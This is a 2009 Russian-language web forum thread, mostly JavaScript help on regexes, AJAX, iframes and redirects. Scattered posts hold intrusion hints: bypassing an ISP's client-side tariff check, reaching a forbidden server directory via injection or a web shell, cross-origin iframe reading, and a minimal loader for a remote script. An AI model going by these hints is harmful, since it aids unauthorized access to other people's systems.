var testString = '\
<a href="video1449_14935">\
<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>\
</a>\
</div>\
</td>\
<td width="365px" style="vertical-align:top">\
<div style="padding-top:5px" id="videoInfo935">\
<div class="aname"><a href="video49_4935">\
';
var re = new RegExp(/d6294195251(.*?)aname/g);
var result = new Array();
var i=0;
while ( matches = re.exec(testString) )
{
result[i++] = matches[1];
}
alert(result);

</script>

BiG_][aKeR
24.07.2009, 19:46
Не а,вылетает пустой алерт...

da_ff
25.07.2009, 02:40
так поцаны, помогите здесь.

Есть страничка с дивом туда инклюдится скрипт пхп. в этом скрипте форма кое какая.

надо сделать так, чтобы при нажатии на кнопку Выполнить в том диве, скрипт выполнялся но страница не перезагружалась. т.е. только тот блок.

Друг мой, ты по проще выражай мысль, а то черезчур таинственно получилось. Тут есть два варианта:
1) по событию onsubmit формы создавать фрейм, который указывать в качестве цели запроса форме. тогда результат завпроса вернется непосредственно в этот фрейм. По событию onload фрейма сможешь забрать из него ответ. Учти, это костыль и тянется со старых времен.
2) по событию onsubmit формы собирать данные по форме, составить из них запрос и воспользоваться xmlhttpreques для передачи данных скрипту и возвращать false чтоб форма ничего не отправляла

FireFenix
25.07.2009, 02:59
Вот так пытаюсь скопировать значение:

var re = /d6294195251(.*?)aname/g;
while (matches = re.exec(testString)) {
var matchese=matches[1];
}
alert(matchese);


Почему не работает понятия не имею,в matchese выводит unfernied а в matches выводит null,кто знает в чём трабла??
У тебя регулярка не правильная... чего ты хочешь ей сделать?

Вот так, если нужно изъять адрес:

<script type="text/javascript">

var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' +
'<div class="aname"><a href="video49_4935"> ';

var re = new RegExp('/<img src="([^"]*)"/g');
var result = new Array();
var i = 0;

matches = re.exec(testString);

alert(matches[1]);

</script>

Scorpion2007
25.07.2009, 19:36
Как мне правильно прописать в адресной строке, чтобы изменить скорость инета в личном кабинете? У меня такой тариф, что мне мешает строка
} else {
alert('Вы не можете сменить скорость для данного тарифа');

Хотя я точно знаю что можно. Вот кусочек скрипта

function ChangeSpeed() {
if (NewSpeed.length > 1) {
speed = NewSpeed.options[NewSpeed.selectedIndex].value;
if (confirm("Вы уверены что хотите сменить скорость подписки 234762 на " + speed + "Kbps ?")) {
document.location = "/?ac:string=234762&md:string=SettingsAction&smd:string=ChangeSpeed&speed:digit=" + speed;
}
} else {
alert('Вы не можете сменить скорость для данного тарифа');

Kaimi
25.07.2009, 20:17
урл.твоего.сайта/?ac:string=234762&md:string=SettingsAction&smd:string=ChangeSpeed&speed:digit=ид с нужной скоростью

Только вряд ли такое сработает

PaCo
25.07.2009, 20:24
Полюбому back-end будет проводить валидацию данных ибо глупо доверять front-endу.

Micr0b
25.07.2009, 20:56
Почему в Опере работает в мозиле и ие нет?
Как должен состоять скрипт чтоб работал во опере,ие,мозиле...?

<select>
<option>Вибір</option>
<option value="1" onClick="alert();"></option>
</select>

Kaimi
25.07.2009, 20:59
Работает он в мозиле, напиши alert(1)

Micr0b
25.07.2009, 21:02
ие?

Kaimi
25.07.2009, 21:16
Ну тогда

<select onchange="javascript:if(this.value == 1)alert(1);">
<option>Вибір</option>
<option value="1"></option>
</select>

PaCo
25.07.2009, 21:19
ие?
У ослика нету для option onClick эвента, можно попробывать onChange:

<select name="countries" onchange="alert(this.options[this.selectedIndex].text);">
<option name="b" value="2" >sdsd</option>
<option name="a" value="1" >ssdffd</option>
</select>

Scorpion2007
26.07.2009, 01:29
Просканил сайт XSpider, вот что он мне выдал

существующие, но недоступные директории >>>
/about/
/cgi-bin/
/css/
/database/
/file/
/forum/
/images/
/img/
/js/
/scripts/
/update/

при попытке зайти в директорию www.xxx.ru/js выдаёт

Forbidden
You don't have permission to access /js/ on this server.

Apache Server at www.d-v.ru Port 80

Каким образом можно попась в директорию с js?

FireFenix
26.07.2009, 01:34
Локальным инклюдом, php-inj, sql-inj, шеллом, ну если есть к этому доступ
или в гугле можно набрать inurl:"site"

BiG_][aKeR
26.07.2009, 11:22
У тебя регулярка не правильная... чего ты хочешь ей сделать?

Вот так, если нужно изъять адрес:

<script type="text/javascript">

var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' +
'<div class="aname"><a href="video49_4935"> ';

var re = new RegExp('/<img src="([^"]*)"/g');
var result = new Array();
var i = 0;

matches = re.exec(testString);

alert(matches[1]);

</script>


чуть не так,мне нужно скопировать диапазон сам,от d6294195251 и до aname,а потом уже сам URL выташить,потому как етих <img src в странице сотни три,и каждый раз местами меняються...

FireFenix
26.07.2009, 11:54
<script language="javascript">

var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' +
'<div class="aname"><a href="video49_4935"> ';

var re = new RegExp('<img src="http:\/\/442.gt3.vkadre.ru\/assets\/thumbnails\/(.*?)<div class="aname">', 'g');

matches = re.exec(testString);

alert(matches[1]);

</script>
Выберет всё от картинки до дива uname

вообще лучше вначале все картинки выдрать, а потом если нужно по позиции находить нужную

BiG_][aKeR
26.07.2009, 12:02
1.Вопще мне надо даже не картинки адрес,а там будет a href ну то такое,просто дело в том что позиыи всё время меняються,сейчас та позыция может быть 32 а через 1 сек уже 67...тут неугадать...единственно что не меняеться так ето ето значение d6294195251,вот от него и нудо всё скопировать,потому как только по нему можно определить то ли ето что мне надо или нет...(

BiG_][aKeR
26.07.2009, 12:40
сайт вконтакте.ру надо вытянуть ссылку на определённое видео,у каждого загрудоного видео и добавленого себе полностью меняеться ID,единственное что постоянное ето ссылка не его картинку,как и в данном шаблоне...
п.с. у меня такой же пример был выложен тут,и он не пашет же! по причине что в переменной есть переводы строки,с которыми регулярки как я понял тут не дружат! тут дело не в том как скопировать а в том чтобы вопще копировало!
у тебя же вот пример переменной

var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' +
'<div class="aname"><a href="video49_4935"> ';

у тебя то ' ' и +,тоисть перевод строки и всё не воспринимает,вот и работает,в результате в переменной такая каша:

<a href="video1449_14935"><img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/></a></div></td><td width="365px" style="vertical-align:top"><div style="padding-top:5px" id="videoInfo935"><div class="aname"><a href="video49_4935">

хотя должно быть именно:

<a href="video1449_14935">
<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>
</a>
</div>
</td>
<td width="365px" style="vertical-align:top">
<div style="padding-top:5px" id="videoInfo935">
<div class="aname"><a href="video49_4935">

Вот с ним и не работает...может как то попробывать заменить все \r\n и табуляцию? тогда мб похать будет токо)

FireFenix
26.07.2009, 13:23
Для того чтобы учитывать переводы строк - нужно добавить мультистроковый флаг, но JS в этом плане страдает дибилизмом, т.к. точка не включает пробельные символы, для этого нада использовать конструкцию [\\s\\S]

<script language="javascript">

var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' + "\n" +
'<div class="aname"><a href="video49_4935">';

var re = new RegExp('<img src="http:\/\/442.gt3.vkadre.ru\/assets\/thumbnails\/([\\s\\S]*)<div class="aname">', 'gim');

matches = re.exec(testString);

alert(matches[1]);

</script>

флаги:
g - global
i - ignore case
m - multiline

j0ker13
26.07.2009, 15:43
есть страничка html. в нее фреймом вставляется другая с другого хоста. как получить текст содержашийся во врейме?)
var a=document.getElementById('frame').document.body.i nnerHTML;
так выводит текст странички но не фрейма

FireFenix
26.07.2009, 16:20
window.frames[0].document.body.innerHTML

Только это будет неправомерный доступ, который можно отключить в настройках +)

j0ker13
26.07.2009, 19:31
т.е. никак не получить доступ к содержимому фрейма если хосты различаются без "отказано в доступе"?)
а если во фрейме будут поля можно как нить получить их значения?)

FireFenix
27.07.2009, 10:28
как вариант JS/jQuery/etc + AJAX + RegEx парсим сайт (ссылка которого во фремйме) и отдаём всё пользователю
вообще по хорошему - парсить всё нада на стороне сервера по время загрузки страницы

inlanger
27.07.2009, 12:54
есть страничка html. в нее фреймом вставляется другая с другого хоста. как получить текст содержащийся во врейме?)
год назад мучал себя этим вопросом. Для себя понял - это нереально. Это противоречит политике безопасности браузера.

j0ker13
27.07.2009, 16:46
щас потестим)

еррор: разрешение отклонено(
никак не сделает методами js/ajax запрос странички отличных от хоста?)

BiG_][aKeR
28.07.2009, 11:55
Для того чтобы учитывать переводы строк - нужно добавить мультистроковый флаг, но JS в этом плане страдает дибилизмом, т.к. точка не включает пробельные символы, для этого нада использовать конструкцию [\\s\\S]

<script language="javascript">

var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' + "\n" +
'<div class="aname"><a href="video49_4935">';

var re = new RegExp('<img src="http:\/\/442.gt3.vkadre.ru\/assets\/thumbnails\/([\\s\\S]*)<div class="aname">', 'gim');

matches = re.exec(testString);

alert(matches[1]);

</script>

флаги:
g - global
i - ignore case
m - multiline

всё прекрасно есле бы не одно но,ну странице больше 20 етих строк <div class="aname"> и регулярка копирует всё до последней строчки в которой есть <div class="aname">,а мне нужно чтобы скопировало до первой только,потому как каждое видео заключено в етот див,а мне нужно именно определённое вытащить,а не все сразу...

FireFenix
28.07.2009, 13:16
? - квантификатор жадности

var re = new RegExp('<img src="http:\/\/442.gt3.vkadre.ru\/assets\/thumbnails\/([\\s\\S]*?)<div class="aname">', 'gim');

BiG_][aKeR
28.07.2009, 13:32
во во во,это оно!!! пасиииб!!!!)))

zifanchuck
29.07.2009, 17:09
Привет всем)
У меня ламерский вопрос. С жабаскриптом не знаком. Можно чтобы в алерт окне была акимвная ссылка??? так
<script>alert('<a href="http://yandex.ru">yandex.ru</a>')</script>
некатит. Надаюсь на вашу помощь)

imajo.ati
29.07.2009, 18:00
Можно чтобы в алерт окне была акимвная ссылка?
нет

da_ff
30.07.2009, 02:27
год назад мучал себя этим вопросом. Для себя понял - это нереально. Это противоречит политике безопасности браузера.

это не совсем так. зависит от браузера. в опере можно. собственно таким хаком читал локальные файлы

Zitt
30.07.2009, 16:34
есть функция
function getRandom() { return Math.round(7*Math.random());}

как сделать чтоб возвращаемое число не повторялось?

Naydav
30.07.2009, 16:57
есть функция
function getRandom() { return Math.round(7*Math.random());}

как сделать чтоб возвращаемое число не повторялось?


var have_been = Array();
function in_array(needle, haystack, argStrict) {
var key = '', strict = !!argStrict;
if (strict) {
for (key in haystack) {
if (haystack[key] === needle) {
return true;
}
}
} else {
for (key in haystack) {
if (haystack[key] == needle) {
return true;
}
}
}
return false;
}
function randomNumber (m,n){
m = parseInt(m);
n = parseInt(n);
number = Math.floor( Math.random() * (n - m + 1) ) + m;
// return number;

if( in_array( number, have_been ) ){
// Нужно быть аккуратным, что бы массив have_been не переполнился всеми возможными значениями, иначе возникнет бесконечный цикл
return randomNumber(m,n);
} else {
have_been.push(number);
return number;
}
}
alert( randomNumber(1,10000) );
alert( randomNumber(1,10000) );
alert( randomNumber(1,10000) );
alert( have_been );


Вообщето, можно просто использовать функцию randomNumber без модификаций, с параметрами 1, большое число, то вероятность повторения очень мала

Zitt
30.07.2009, 17:19
ага пасиб

Большой джо
30.07.2009, 17:22
Нужна помощь, есть строка такого вида
text="qwerty-43-uiopasd-14-fgh-21-jklzxcvbnm";
Нужно из этой строки вытянуть все данные которые находятся между -
тоесть -43-, -14-, -21-, вот как это сделать на javascript???

Naydav
30.07.2009, 18:08
Нужна помощь, есть строка такого вида
text="qwerty-43-uiopasd-14-fgh-21-jklzxcvbnm";
Нужно из этой строки вытянуть все данные которые находятся между -
тоесть -43-, -14-, -21-, вот как это сделать на javascript???

http://www.pcre.ru/docs/javascript/text/intro1/
http://www.softtime.ru/info/articlephp.php?id_article=42

Pashkela
30.07.2009, 18:15
<script type="text/javascript">
var testString = 'text="qwerty-43-uiopasd-14-fgh-21-jklzxcvbnm";';
var re=/-([0-9]+)-/g;
while (matches = re.exec(testString)) {
document.write(matches[1]+"<br>");
}
</script>

FireFenix
30.07.2009, 18:19
<script language="javascript">

text = 'qwerty-43-uiopasd-14-fgh-21-jklzxcvbnm';

var re = new RegExp('(-\\d+-)', 'g');

matches = text.match(re);

for (i = 0; i < matches.length; i++)
{
document.write(matches[i] + '<br>');
}

</script>

Большой джо
30.07.2009, 18:52
Спасибо, буду юзать!)

BiG_][aKeR
01.08.2009, 12:32
Помогите сделать следуйшие,нужно чтоб исполнился скрипт с стороннего сервера,например скрипт лежит тут http://site.ru/script.js и мне нужно чтоб он загрузился с помощью javascript и исполнился...нужно чтоб было как можно меньше кода,самый самый уменьшеный вареант.

BiG_][aKeR
01.08.2009, 12:50
Нет,тут то и дело что не так. Мне нужно чтоб именно javascript загрузил дополнительный код с сервера и испольнил, чтото вроде инклуда в пыхе...
Можно выда чтоб ajax загрузил код с сервера а потом исполнить его через eval,но именно ajax код слишком длинный и мне кажеться eval тут непрокатит(

imajo.ati
01.08.2009, 13:10
BiG_][aKeR,
var tag = document.createElement("script");
tag.id = "ajax";
tag.src = "http://site.ru/script.js";
document.getElementsByTagName("head")[0].appendChild(tag);

BiG_][aKeR
01.08.2009, 13:40
imajo.ati,Спасиб огромное!:)

zifanchuck
01.08.2009, 15:05
Как с помощью джава скрипта можно создать файл на сервере? И можно лди вообще такое сделать?ПХП не предлагать

Pashkela
01.08.2009, 15:09
нет, нельзя, ну сам прикинь, я зашел к тебе на сайт и создал тебе файл на ТВОЙ сервер, ведь у меня в браузере включен javascript, тебе понравиться?

zifanchuck
01.08.2009, 15:15
нет, нельзя, ну сам прикинь, я зашел к тебе на сайт и создал тебе файл на ТВОЙ сервер, ведь у меня в браузере включен javascript, тебе понравиться?
Это плохо( какими способавми можно создать, залить на сервер файл кроме пхп? фтп тоже предлагать ненадо)

Pashkela
01.08.2009, 15:18
ну например perl, или любой другой язык программирования, применимый в конкретном случае, кроме javascript

PS: Могу сказать сразу - на narod.ru только через фтп или через мастерскую, что, в принципе, одно и тоже

zifanchuck
01.08.2009, 15:21
ну например perl, или любой другой язык программирования, применимый в конкретном случае, кроме javascript

PS: Могу сказать сразу - на narod.ru только через фтп или через мастерскую, что, в принципе, одно и тоже
та нет) я щас у себя на денвере експерементирую. Хочу одну фичу раскрутить, может получится. Я единственное что знаю так это пхп)
а ты норм в этом все деле шариш?)) може в аськи пообщаемся на эту темку?))

DTW
02.08.2009, 18:21
Помогите как сделать что данные обновлялись в Jquery..

Сперва подгружаю методом лоад

потом обновляю обратным запросом



$(function(){

$(document).ready(function(){
$('<div id="info">').load('book.php #b',function(){
$('#box').html(this);
});

});




$('#send').click(function(){
$('#box').append('<img src="loader.gif" id="im"/>');
var a = $('#author').val();
var b = $('#name').val();
$.ajax({
url:'book.php?author='+a+'&name='+b,
type:'GET',
//data:null,
cache: false,

success:function(rezult){
$('#box').replaceWith(rezult);
$('#im').fadeOut(500);
}
});
return false;
});

});



<div id="box"></div>
при след посте данные не обновить.

как сделать что обновлялся блок div?

omfg
03.08.2009, 20:13
Помогите как сделать что данные обновлялись в Jquery..

Сперва подгружаю методом лоад

потом обновляю обратным запросом



$(function(){

$(document).ready(function(){
$('<div id="info">').load('book.php #b',function(){
$('#box').html(this);
});

});




$('#send').click(function(){
$('#box').append('<img src="loader.gif" id="im"/>');
var a = $('#author').val();
var b = $('#name').val();
$.ajax({
url:'book.php?author='+a+'&name='+b,
type:'GET',
//data:null,
cache: false,

success:function(rezult){
$('#box').replaceWith(rezult);
$('#im').fadeOut(500);
}
});
return false;
});

});



<div id="box"></div>
при след посте данные не обновить.

как сделать что обновлялся блок div?


Немного не понял что ты имел ввиду на самом деле, но мне кажется проблема в том, что ты вешаешь обработчики событий только при загрузке дом, но _не_ после запроса. Начиная с jquery 1.3 можно юзать метод live(), который прикручивает события на элементы созданные после загрузки дом. Т.е. вместо

$('#send').click(function(){...}

напиши

$('#send').live("click", function() {...});

kiddie
05.08.2009, 11:44
Доброе время суток!
Подскажите, можно ли как-то с помощью J-Script получить ХТМЛ-код всей страницы из Айфрейма в переменную?
Желательно чтобы это происходило именно со стороны родительского окна, если вы понимаете меня, поскольку вариант:
document.getElementById('id_of_frame').contentWind ow.document.getElementById('btn_ok').value
не работает (создатели как-то заблочили этот вариант). Заранее благодарен за помощь.

omfg
05.08.2009, 11:58
document.getElementById('id_of_frame').contentDocu ment.getElementById('btn_ok').value;

а так?

kiddie
05.08.2009, 12:29
Не протеворечит. Этот код работает на другие сайты в Айфрейме. Можно заполнять формы и считывать код. А именно на этот сайт - нет. Вот меня и интересует есть ли альтернативные способы. Способ с contentDocument не работает.


Оу...мой опонент уже удалил свои посты...видимо успокоился)

omfg
05.08.2009, 13:15
А вы точно пытаетесь обратиться к ифрейму когда он уже создан и там появился код?
Возможно во фрейме стоит document.write, и вы обращаетесь к элементам еще до их создания.

kiddie
05.08.2009, 16:02
Нет, обращение управляется кнопкой, каторую я нажимаю уже после загрузки всех елементов сайта в айфрейме. И етот елемент-текстовое поле. его видно, что он есть изначально.

Patronik
05.08.2009, 19:47
Народ помогите! Я учу пхп а явускрипт не шарю пока что. на сайте в файле index.html был чсетчик посещений, вот его код (
<script language="JavaScript" type="text/javascript" src="mirolog.js"></script>
<noscript><img alt="" src="http://counter.mirohost.net/counter.php?id=lv-design&st=img"></noscript>)
Надо было изменить стартовою страницу и сделать файлом index.html другой файл, но когда я перенес туда код счетчика то там он не отображаеться!

что делать там нужен счетчик тот же?

KaMiKadZe
05.08.2009, 20:38
Нужны простые табы что подключали код когда между ними переходишь...
По типу

<div id='tabs'>
<div id='first'> <?php include ("first.php"); ?> </div>
<div id='two'> <?php include ("two.php"); ?> </div>
</div>
А так же чтобы очищали адресную строку?
По типу у меня news.php?id=5, а когда переходишь на таб, стало просто news.php, есть ли такие готовые решения?

Patronik
05.08.2009, 21:01
непонял ничего

KaMiKadZe
05.08.2009, 21:23
Блин...
Когда переходишь по табу там уже не исполненный код!
Например сейчас я в табе#1 жму на таб#2 и код там не готовый, а только выполняется!
Так же надо чтобы очищали адресную строку при переходе, так как в табах будет будет находится много записей и там буду страницы! А чтобы при переходе на таб#2 из таб#1 номер страницы надо очищать адресную строку!

Patronik
05.08.2009, 22:52
какие табы? что очищать? Таб ето что клавина на клаве?

diGriz
05.08.2009, 23:39
какие табы? что очищать? Таб ето что клавина на клаве?

Это он не тебе :) Скорей всего ты неправильно перенес счетчик или у тебя отключен javascript в броузере. Попробуй поставить другой счетчик, например от liveinternet.ru или гугл аналитикс.

omfg
06.08.2009, 06:36
Вот есть пример а асякосвскими табами - http://stilbuero.de/jquery/tabs/#remote-tab-1

j0ker13
06.08.2009, 14:09
понять не могу почему переменная не присваивается)
<script language="javascript">
function Inint_AJAX(){
try{return new ActiveXObject("Msxml2.XMLHTTP");} catch(e){}
try{return new ActiveXObject("Microsoft.XMLHTTP");}catch(e){}
try{return new XMLHttpRequest();}catch(e){}
alert("XMLHttpRequest not supported");
return null;}
function doing(url,patt){
var req=Inint_AJAX();
req.onreadystatechange=function()
{
if(req.readyState==4)
{
if(req.status==200)
{
var text=req.responseText.toString();
if (text!=='undefined')
{
var re=new RegExp(patt,'gim');
matches=re.exec(text);
yy=matches[1];
alert(yy);
}
}
}
}
req.open('GET',url);
req.setRequestHeader('Content-Type','application/x-www-form-urlencoded;charset=cp1251');
req.send(null);
}
yy=0;
doing("http://test1.ru/dr.html",'([\\w\\s]{1,20})\\|(\\d{1,20})\\|([\\w\\s]{1,20})');
alert(yy);

в последнем алерте yy равен 0. почему? переменные глобальные как я понимаю)

j0ker13
06.08.2009, 15:29
FireFenix
выскакивает undefined
:) хотел сначала сделать return matches[1] но тоже выскакивает undefined в последнем алерте(
почему так?)

mr-leon
06.08.2009, 19:26
пожалуйста если у вас есть время помогите мне: подскажите как сделать чтоб фаил с расширенеем pl работал мой icq 6680194 будуочень благодарен

j0ker13
06.08.2009, 22:51
FireFenix
дак алерт который alert(matches[1]); выводит все правильно :)

Graf I
08.08.2009, 21:11
myWin= open("http://www.123.ru");
Скрипт отрывает окно при первом шелчке на сайте, но также, открывает дальше при выбооре категории.
Как сделать что бы оконо открывалось 1 раз на 1 пользователя, на 1 IP вроде бы нельзя, ну что ли на 1 посещение.

KokauH
09.08.2009, 21:03
Может помочь кто-нибудь расшифровать? Уже замучался :(

http://dumpz.org/11347/

bomber
09.08.2009, 23:40
ребят, помогите решить вопрос

имеется код:

<div id=block></div>
<script language="Javascript" SRC="script.js"></script>

код script.js:

var sref = escape(document.URL);
var slo = document.getElementById('block');
if (slo) {slo.innerHTML = "<a href=# style='color: black'>ссылка</a>";}

как изменить стиль ссылки при наведении курсора в самом скрипте?

пробовал onmouseover, но там с кавычками запара, не получилось вообщем у меня :(

omfg
09.08.2009, 23:45
по-моему псевдо-классы нельзя применять через style="" поэтому напиши так

if (slo) {slo.innerHTML = "<style>a:link,a:visited{color:#000;}a:hover,a:active{colo r:#555;}</style><a href=# style='color: black'>ссылка</a>";}


ну цвета сам подбери

omfg
10.08.2009, 00:21
Так ты изменишь цвет :link, но не :hover

omfg
10.08.2009, 00:30
Мне кажется это велосипед (: для этого стили придумали

Велемир
10.08.2009, 01:01
Всем привет.Вот,не работает скрипт:



<html>
<title> shit! </title>

<body>

<h1> gg </h1>
<h2> fuck all </h2>

<script>

function welya() {

var x = document.getElementsByTagName('body')[1]
var y = body.removeChild(body.firstChild)

}

</script>


<input type="button" value="Нажми уже" onClick="welya()">

</body>

</html>



Поскольку,не считая атрибутов,у тега <body> два дочерних элемента,то удалиться должен второй элемент(индекс - 1).но ничего не происходит.использовал браузер Firefox.

Велемир
10.08.2009, 01:13
Хня какая-то.В about:config браузера Javascript.enadled в true стоит,а простой алерт не пашет...офигеть.

SaiRus
10.08.2009, 02:00
var x = document.getElementsByTagName('body')[1]
за что отвечает параметр выделенный красным?

Велемир
10.08.2009, 02:11
Индекс массива.Функция же массив возвращает.

Велемир
10.08.2009, 02:14
А если на странице пять элементов <h1> с различным содержимым,то как удалить,к примеру,третий ?

bomber
10.08.2009, 08:40
Мне кажется это велосипед (: для этого стили придумали

еслиб все так просто, из представленных примеров ни один не подходит, в первом из-за скобок {, во втором из-за кавычек

Byrger
13.08.2009, 22:53
Как сделать перенаправление
Допустим чтоб через 10 сек как сайт загрузился кинуло на другую страницу допустим index.php

SaiRus
13.08.2009, 23:40
<script>
function ReDir()
{
location="http://mysite.ru/myPage.php";
}

setTimeout(ReDir(),10000);
</script>
как то так, 10000 -поидее задержка в милисекундах, только у меня почему то не отробатывает а поидее должна

astrologer
13.08.2009, 23:55
как то так, 10000 -поидее задержка в милисекундах, только у меня почему то не отробатывает а поидее должнаsetTimeout(ReDir(), 10000)
// Потому, что ^ здесь вызывается функция ReDir,
// и параметром в setTimeout передаётся возвращаемое
// ей значение (undefined).


// Должно быть так:
setTimeout(ReDir, 1e4);


// или так:
setTimeout(function()
{
ReDir();
}, 1e4);


// или так:
function ReDir()
{
return function()
{
location = 'index.php';
};
};
setTimeout(ReDir(), 1e4);

SaiRus
14.08.2009, 00:03
ага, и правда... а в чем разница только в голове не укладывется...я думал что со скобками что без них выполняется просто функция...эх...

Fuckel
14.08.2009, 00:05
А если на странице пять элементов <h1> с различным содержимым,то как удалить,к примеру,третий ?
например, так

document.getElementsByTagName("h1")[2].innerHTML = "";

XopoIII
14.08.2009, 05:19
например, так

document.getElementsByTagName("h1")[2].innerHTML = "";

на всякий случай добавил бы что [2] потомучто отсчет идет с 0 =)
вдруг не поймет

Fuckel
14.08.2009, 07:09
на всякий случай добавил бы что [2] потомучто отсчет идет с 0 =)
вдруг не поймет
offtop: это же Велемир =)

j0ker13
14.08.2009, 14:52
вопрос
function load(filename) {
var newJS = document.createElement("script");
newJS.setAttribute("type","text/javascript");
newJS.setAttribute("src", filename);
document.getElementsByTagName("head")[0].appendChild(newJS);
}
функция подрузить скрипт)
load("http://192.168.1.6/test_html/1.js");
alert(n);
содержимое 1.js:
alert("!");n=99;

проблема) алерт ("!") выскакивает а n не определено. почему так может быть?

astrologer
14.08.2009, 15:30
вопрос

функция подрузить скрипт)

содержимое 1.js:


проблема) алерт ("!") выскакивает а n не определено. почему так может быть? Потому, что интерпретатор не зависает на строке load("http://192.168.1.6/test_html/1.js") и не ждет загрузки 1.js, а идёт дальше по коду. Из-за этого "alert(n)" выполняется раньше, чем "alert("!");n=99;".

j0ker13
14.08.2009, 16:07
2astrologer setTimeout поможет?)

cremator (c)
14.08.2009, 18:36
В JS соображаю очень слабо, поэтому проблема такая:
Найти на странице все input'ы и прочитать их пары значений name=value. Создать скрытую форму и передать post'ом эти значения на скрипт
Заранее благодарен)

XopoIII
14.08.2009, 18:42
cremator (c) заюзай jquery с ним ты за 5 минут сделаешь то что тебе нужно
_http://jquery.com

astrologer
14.08.2009, 18:57
setTimeout поможет?) Лучше повесить обработчик на onload/onreadystatechangeзаюзай jquery с ним ты за 5 минут сделаешь то что тебе нужноНу ну

Flame of Soul
14.08.2009, 19:01
Возможно был такой вопрос уже, но я ответа в поиске не нашла.

Необходимо на JS отловить закрытие вкладки в Опере 10 и выдавать вопрос типа "Действительно хотите покинуть сайт?"

через <body onUnload=".......()"> не канает((

scrat
14.08.2009, 19:08
Возможно был такой вопрос уже, но я ответа в поиске не нашла.

Необходимо на JS отловить закрытие вкладки в Опере 10 и выдавать вопрос типа "Действительно хотите покинуть сайт?"

через <body onUnload=".......()"> не канает((
onclose?

Flame of Soul
14.08.2009, 19:20
onclose?
приведите пример или поправьте:
<SCRIPT>
function goodBye()
{
alert("Thanks!");
}
</SCRIPT>

<body onclose="goodBye()">



пожалуйста.

astrologer
14.08.2009, 19:47
Flame of Soul,
Скорее всего не получится. В общем-то, это вина оперы - можно отправить им баг-репорт, хотя формально спецификацию они не нарушают.

P.S. Ненужные алерты не раздражают пользователей?

Flame of Soul
14.08.2009, 20:19
P.S. Ненужные алерты не раздражают пользователей?

да мы просто с друзьями балуемся кто найдет способ обдурить оперу)) мини квест такой)

Скорее всего не получится. В общем-то, это вина оперы - можно отправить им баг-репорт, хотя формально спецификацию они не нарушают.

будем копать)) на крайний случай эксплойт)